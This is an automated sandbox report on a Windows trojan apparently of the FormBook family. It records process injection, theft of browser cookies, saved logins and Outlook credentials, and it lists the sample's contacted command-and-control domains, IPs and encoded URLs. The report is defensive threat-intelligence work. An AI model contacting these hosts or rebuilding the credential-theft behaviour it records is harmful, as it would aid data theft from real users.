Thread APC queued: target process: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2312008

Source: C:\Users\user\Desktop\8mmZ7Bkoj1.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\8mmZ7Bkoj1.exe"	Jump to behavior
Source: C:\Program Files (x86)\HBeYDbubOyqoARpYdxoNzPaqubIpqJxiZQYxmndjKe\eKxwLXHhqpgy.exe	Process created: C:\Windows\SysWOW64\makecab.exe "C:\Windows\SysWOW64\makecab.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: eKxwLXHhqpgy.exe, 00000005.00000002.3561336986.0000000001741000.00000002.00000001.00040000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000005.00000000.2057199980.0000000001741000.00000002.00000001.00040000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561462421.0000000001851000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: eKxwLXHhqpgy.exe, 00000005.00000002.3561336986.0000000001741000.00000002.00000001.00040000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000005.00000000.2057199980.0000000001741000.00000002.00000001.00040000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561462421.0000000001851000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: eKxwLXHhqpgy.exe, 00000005.00000002.3561336986.0000000001741000.00000002.00000001.00040000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000005.00000000.2057199980.0000000001741000.00000002.00000001.00040000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561462421.0000000001851000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: eKxwLXHhqpgy.exe, 00000005.00000002.3561336986.0000000001741000.00000002.00000001.00040000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000005.00000000.2057199980.0000000001741000.00000002.00000001.00040000.00000000.sdmp, eKxwLXHhqpgy.exe, 00000007.00000002.3561462421.0000000001851000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager
Source: 8mmZ7Bkoj1.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 1.2.svchost.exe.2410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2410000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2155548191.0000000002C90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3561632009.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2147046823.0000000002410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3563473884.0000000005600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2162734748.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3560663904.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3561586168.0000000004490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3561735545.00000000056D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\makecab.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\makecab.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\makecab.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.2410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.2410000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2155548191.0000000002C90000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3561632009.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2147046823.0000000002410000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3563473884.0000000005600000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2162734748.0000000005C00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3560663904.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3561586168.0000000004490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3561735545.00000000056D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	2 Virtualization/Sandbox Evasion	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	412 Process Injection	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Abuse Elevation Control Mechanism	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
8mmZ7Bkoj1.exe	47%	ReversingLabs	Win32.Trojan.AutoitInject
8mmZ7Bkoj1.exe	100%	Avira	HEUR/AGEN.1321671
8mmZ7Bkoj1.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.impo232rt.xyz	176.32.38.141	true	true	unknown
crowsecurity.cloud	3.33.130.190	true	true	unknown
digitalbloom.info	3.33.130.190	true	true	unknown
www.cenfresh.life	199.192.21.169	true	true	unknown
thepeatear.online	84.32.84.32	true	true	unknown
www.nad5.shop	156.226.22.233	true	true	unknown
myjiorooms.services	3.33.130.190	true	true	unknown
www.thepeatear.online	unknown	unknown	true	unknown
www.mktimediato.online	unknown	unknown	true	unknown
www.digitalbloom.info	unknown	unknown	true	unknown
www.trafegomagico.shop	unknown	unknown	true	unknown
www.schoolsfrirstfcu.org	unknown	unknown	true	unknown
www.crowsecurity.cloud	unknown	unknown	true	unknown
www.myjiorooms.services	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.thepeatear.online/pt4m/?nrs8j=AzKTe9sU/un6FWh8J4Z/TBPHes/wm2VwkqZ8OIQkGxADXwK45dBXsHOALtRz338sDHJ9qmiySJX4ofZpl75YgKir24cXfpRpIxKZjJwadTshiHDArMKxe74=&Yp=eXMH4fkp	true	unknown
http://www.impo232rt.xyz/azcx/?nrs8j=irMYamRxHtj3NMD2tLgxvViSvpLqwhvn7ehZdObCxtX/sdDuQfcDsrOzu60Trx/UY7Wv4F1shT0OqKdZ6j2zU9VfvWpTmK3e9j1Z+5zsY7kVMmPgkcjeH9Y=&Yp=eXMH4fkp	true	unknown
http://www.crowsecurity.cloud/oigd/	true	unknown
http://www.nad5.shop/i70z/?Yp=eXMH4fkp&nrs8j=8fwlLwm+T0nphGhW7PHH3xFKB5SB8SFc9+r/t0QDCeclosptBaw61DZvImsaGCeeZR7Fl0K64LM59E0NLQ1vdm4QrRMTpos6Kj6ui5/Q8OeERMbnF/TN1fg=	true	unknown
http://www.digitalbloom.info/paa2/?Yp=eXMH4fkp&nrs8j=qDBzf3Em8FMnDuZYbVfiL5sknZWYhueoT0F4r09hh9DCbJoHqCNNB+hYoG1Us3VrdNJQeWmKv3CCTbgwH3NiU5qDwpXvlmSTPuYmawVAsPwUoUwLb74j9YI=	true	unknown
http://www.myjiorooms.services/tlbx/	true	unknown
http://www.cenfresh.life/6iok/?Yp=eXMH4fkp&nrs8j=Lr8I5vR8kZnO1BXwYoMTGZrf0zW9P9gXQAsQehgeDaNdyJVo64QKCUs+Z9VbQDUfL8+SUHVZNFYLvGD3PrMcSw81RdJBHrPngUHAq0ps+A4FRAxn/QrS6wg=	true	unknown
http://www.impo232rt.xyz/azcx/	true	unknown
http://www.digitalbloom.info/paa2/	true	unknown
http://www.thepeatear.online/pt4m/	true	unknown
http://www.cenfresh.life/6iok/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ac.ecosia.org/autocomplete?q=	makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.crowsecurity.cloud	eKxwLXHhqpgy.exe, 00000007.00000002.3563473884.0000000005680000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	makecab.exe, 00000006.00000003.2345165836.0000000007A3E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
199.192.21.169	www.cenfresh.life	United States	22612	NAMECHEAP-NETUS	true
156.226.22.233	www.nad5.shop	Seychelles	132813	AISI-AS-APHKAISICLOUDCOMPUTINGLIMITEDHK	true
84.32.84.32	thepeatear.online	Lithuania	33922	NTT-LT-ASLT	true
176.32.38.141	www.impo232rt.xyz	Russian Federation	51659	ASBAXETRU	true
3.33.130.190	crowsecurity.cloud	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528955
Start date and time:	2024-10-08 14:16:30 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8mmZ7Bkoj1.exe renamed because original name is a hash value
Original Sample Name:	64c5d2e74511fbe252cb0351a21a86df6d98ac07bd4cc92a35086b1b1659257a.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@10/5
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 87% Number of executed functions: 14 Number of non-executed functions: 335
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
VT rate limit hit for: 8mmZ7Bkoj1.exe

Simulations

Behavior and APIs

Time	Type	Description
08:18:45	API Interceptor	6159437x Sleep call for process: makecab.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
199.192.21.169	PURCHASE ORDER.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	update SOA.exe	Get hash	malicious	FormBook	Browse	www.technectar.top/ghvt/
	NVOICE FOR THE MONTH OF AUG-24.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	RFQ - HTS45785-24-0907I000.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	Request for Quotation Hi-Tech Park Project 193200.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	DEBIT NOTE 01ST SEP 2024.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	DCP11-83642024..exe	Get hash	malicious	FormBook	Browse	www.urbanpulse.help/r50h/
	PROFOMA INVOICE SHEET.exe	Get hash	malicious	FormBook	Browse	www.selftip.top/85su/
	SOLICITUD DE COTIZACI#U00d3N - 6721000232111.exe	Get hash	malicious	FormBook	Browse	www.zenscape.top/d8cw/
	file.exe	Get hash	malicious	FormBook	Browse	www.urbanpulse.help/r50h/
156.226.22.233	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	www.nad5.shop/2xqm/
156.226.22.233	September Order.exe	Get hash	malicious	FormBook	Browse	www.nad5.shop/cy90/
84.32.84.32	Products Order Catalogs20242.exe	Get hash	malicious	FormBook	Browse	www.pinkpantys.shop/cyro/
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	www.pakmartcentral.shop/ml5l/
	Pending invoices.exe	Get hash	malicious	FormBook	Browse	www.b-ambu.com/a2tr/
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	www.agilizeimob.app/we8s/
	Narudzba ACH0036173.vbe	Get hash	malicious	FormBook, GuLoader	Browse	www.casesrep.site/7z6q/
	-pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.dfmagazine.shop/7k8f/
	DHL_ 46773482.exe	Get hash	malicious	FormBook	Browse	www.agilizeimob.app/bnrj/
	Order.exe	Get hash	malicious	FormBook	Browse	www.servehimfoundation.org/wlo5/
	Quote #260924.exe	Get hash	malicious	FormBook	Browse	www.thepeatear.online/lu5k/
	Order 001-1.exe	Get hash	malicious	FormBook	Browse	www.servehimfoundation.org/wlo5/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.nad5.shop	notificacion_de_credito__PDF__.exe	Get hash	malicious	FormBook	Browse	156.226.22.233
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	156.226.22.233
	INV & BANK DETAILS LETTER.pdf.exe	Get hash	malicious	FormBook	Browse	156.226.22.233
	September Order.exe	Get hash	malicious	FormBook	Browse	156.226.22.233
www.impo232rt.xyz	INV & BANK DETAILS LETTER.pdf.exe	Get hash	malicious	FormBook	Browse	176.32.38.141
www.cenfresh.life	SecuriteInfo.com.Win32.Malware-gen.10660.18305.exe	Get hash	malicious	FormBook	Browse	199.192.21.169
www.cenfresh.life	INV & BANK DETAILS LETTER.pdf.exe	Get hash	malicious	FormBook	Browse	199.192.21.169

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NTT-LT-ASLT	Products Order Catalogs20242.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	Pending invoices.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	SOA SEPT 2024.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	PURCHASE ORDER-6350.exe	Get hash	malicious	FormBook	Browse	84.32.84.32
	1728239644b6c097b50f50c5ed70baa52a8cacbfdc1e82b38c0aa5c471e1a07dbef595bc59540.dat-decoded.exe	Get hash	malicious	Remcos	Browse	84.32.44.139
	MKWbWHd5Ni.rtf	Get hash	malicious	Remcos	Browse	84.32.44.139
	Narudzba ACH0036173.vbe	Get hash	malicious	FormBook, GuLoader	Browse	84.32.84.32
	http://ipscanadvsf.com	Get hash	malicious	Unknown	Browse	84.32.84.33
	GEJMING DUO USD 20241002144902.docx.doc	Get hash	malicious	Remcos	Browse	84.32.44.139
AISI-AS-APHKAISICLOUDCOMPUTINGLIMITEDHK	notificacion_de_credito__PDF__.exe	Get hash	malicious	FormBook	Browse	156.226.22.233
	RECIEPT.PDF.exe	Get hash	malicious	FormBook	Browse	156.226.22.233
	INV & BANK DETAILS LETTER.pdf.exe	Get hash	malicious	FormBook	Browse	156.226.22.233
	September Order.exe	Get hash	malicious	FormBook	Browse	156.226.22.233
	Tomcat.bin.exe	Get hash	malicious	Unknown	Browse	216.250.106.146
	b4cbf3ffbd8e152116e72487c3b16f1d.exe	Get hash	malicious	Unknown	Browse	216.250.106.146
	Tomcat.bin.exe	Get hash	malicious	Unknown	Browse	216.250.106.146
	b4cbf3ffbd8e152116e72487c3b16f1d.exe	Get hash	malicious	Unknown	Browse	216.250.106.146
	jURI57sJ9G.exe	Get hash	malicious	GhostRat, Nitol	Browse	154.211.23.99
	Shipment_Document_BL,INV_and_packing_list.jpg.exe	Get hash	malicious	FormBook, NSISDropper	Browse	154.205.10.163
ASBAXETRU	na.elf	Get hash	malicious	Unknown	Browse	46.29.161.108
	INV & BANK DETAILS LETTER.pdf.exe	Get hash	malicious	FormBook	Browse	176.32.38.141
	VZRdl605xh.elf	Get hash	malicious	Gafgyt, Mirai	Browse	176.32.39.130
	KtEQ20VGM9.elf	Get hash	malicious	Gafgyt, Mirai	Browse	176.32.39.130
	1qKutBuGUV.elf	Get hash	malicious	Gafgyt, Mirai	Browse	176.32.39.130
	5aNi3U9NPU.elf	Get hash	malicious	Gafgyt, Mirai	Browse	176.32.39.130
	c2wtBlVImo.elf	Get hash	malicious	Gafgyt, Mirai	Browse	176.32.39.130
	QjIppLmakb.elf	Get hash	malicious	Gafgyt, Mirai	Browse	176.32.39.130
	LockyRansom.exe	Get hash	malicious	Unknown	Browse	46.17.44.153
	LockyRansom.exe	Get hash	malicious	Unknown	Browse	46.17.44.153
NAMECHEAP-NETUS	FDA.exe	Get hash	malicious	FormBook	Browse	198.54.125.199
	PURCHASED ORDER OF ENG091.exe	Get hash	malicious	FormBook	Browse	63.250.38.167
	na.elf	Get hash	malicious	Mirai	Browse	162.255.117.53
	PO_89_202876.Pdf.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger, VIP Keylogger	Browse	198.54.114.247
	Products Order Catalogs20242.exe	Get hash	malicious	FormBook	Browse	68.65.122.222
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	162.213.249.216
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	162.0.238.238
	Arrival notice.exe	Get hash	malicious	FormBook	Browse	162.0.238.246
	http://buddycities.com/	Get hash	malicious	Unknown	Browse	162.255.119.35
	http://buckboosters.com/	Get hash	malicious	Unknown	Browse	192.64.119.229

Process:	C:\Users\user\Desktop\8mmZ7Bkoj1.exe
File Type:	data
Category:	dropped
Size (bytes):	288256
Entropy (8bit):	7.994133338679452
Encrypted:	true
SSDEEP:	6144:7FTd3/4Mio99hAO8MZqJ39X4+6xAU9Mjz4o5J0cfD4c2XFF:BVZ99yJ9ox/9QVJ0cJC
MD5:	F9D7E9B85ADEA68BE938D26292592F40
SHA1:	EEB352FFA38F200C01D57421BE9C93CF01081D1D
SHA-256:	CCD27626028C724EAD4E096C60D76167DDCEA55B66E1CD6916BA1551372B2C1D
SHA-512:	32E74EF987C2BD3A55AF08BE1226016651C8497C09C3684769D47CE554B818F89E6E0C3603712197A44B7EB546530C08DE833C90F5F0DA6BEECF4E39ADA6296E
Malicious:	false
Reputation:	low
Preview:	.....745H...L...v.7B...pVR..5HJ9FEGB99JI7AH9EXUZL745HJ9FEG.99JG(.F9.Q.{.6x.i.Q/6g2KV-;V,hZ$6;58.VPh8L(e.,.}...,'] vXWF.45HJ9FE>C0.w)P.uY".h:+.....&".X...uW&.#..f,P.g!)Q{% .99JI7AH9..UZ.655.$E.EGB99JI7.H;DSTQL7`1HJ9FEGB99.]7AH)EXU*H745.J9VEGB;9JO7AH9EXU\L745HJ9F5CB9;JI7AH9GX..L7$5HZ9FEGR99ZI7AH9EHUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JgC$0MEXUn.345XJ9F.CB9)JI7AH9EXUZL745hJ9&EGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9FEGB99JI7AH9EXUZL745HJ9

C:\Users\user\AppData\Local\Temp\g6sPb5

Download File

Process:	C:\Windows\SysWOW64\makecab.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.543293751073524
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	8mmZ7Bkoj1.exe
File size:	1'366'295 bytes
MD5:	cce5d60668494a747ca41f5d8b17e76a
SHA1:	9f29f6cad0687318f9ce75c0145b68914fd0e422
SHA256:	64c5d2e74511fbe252cb0351a21a86df6d98ac07bd4cc92a35086b1b1659257a
SHA512:	b5c5c320ab51db83777ee65a1c245521fd3541827f793dc361cebea49f5890a2049b06aa347b5c373e37490573f748bc5815cbaa856ec32c83323730179781c2
SSDEEP:	24576:uRmJkcoQricOIQxiZY1iaCXPridnU0jF/veqwVbb+PVZzsb5Utin8:7JZoQrbTFZY1iaCXPrULDwVf+PV2bX8
TLSH:	F955E122F5D69036C2B323719E7EF7699A3D79361336D29B23C81E215EA04416B39733
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	1733312925935517

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
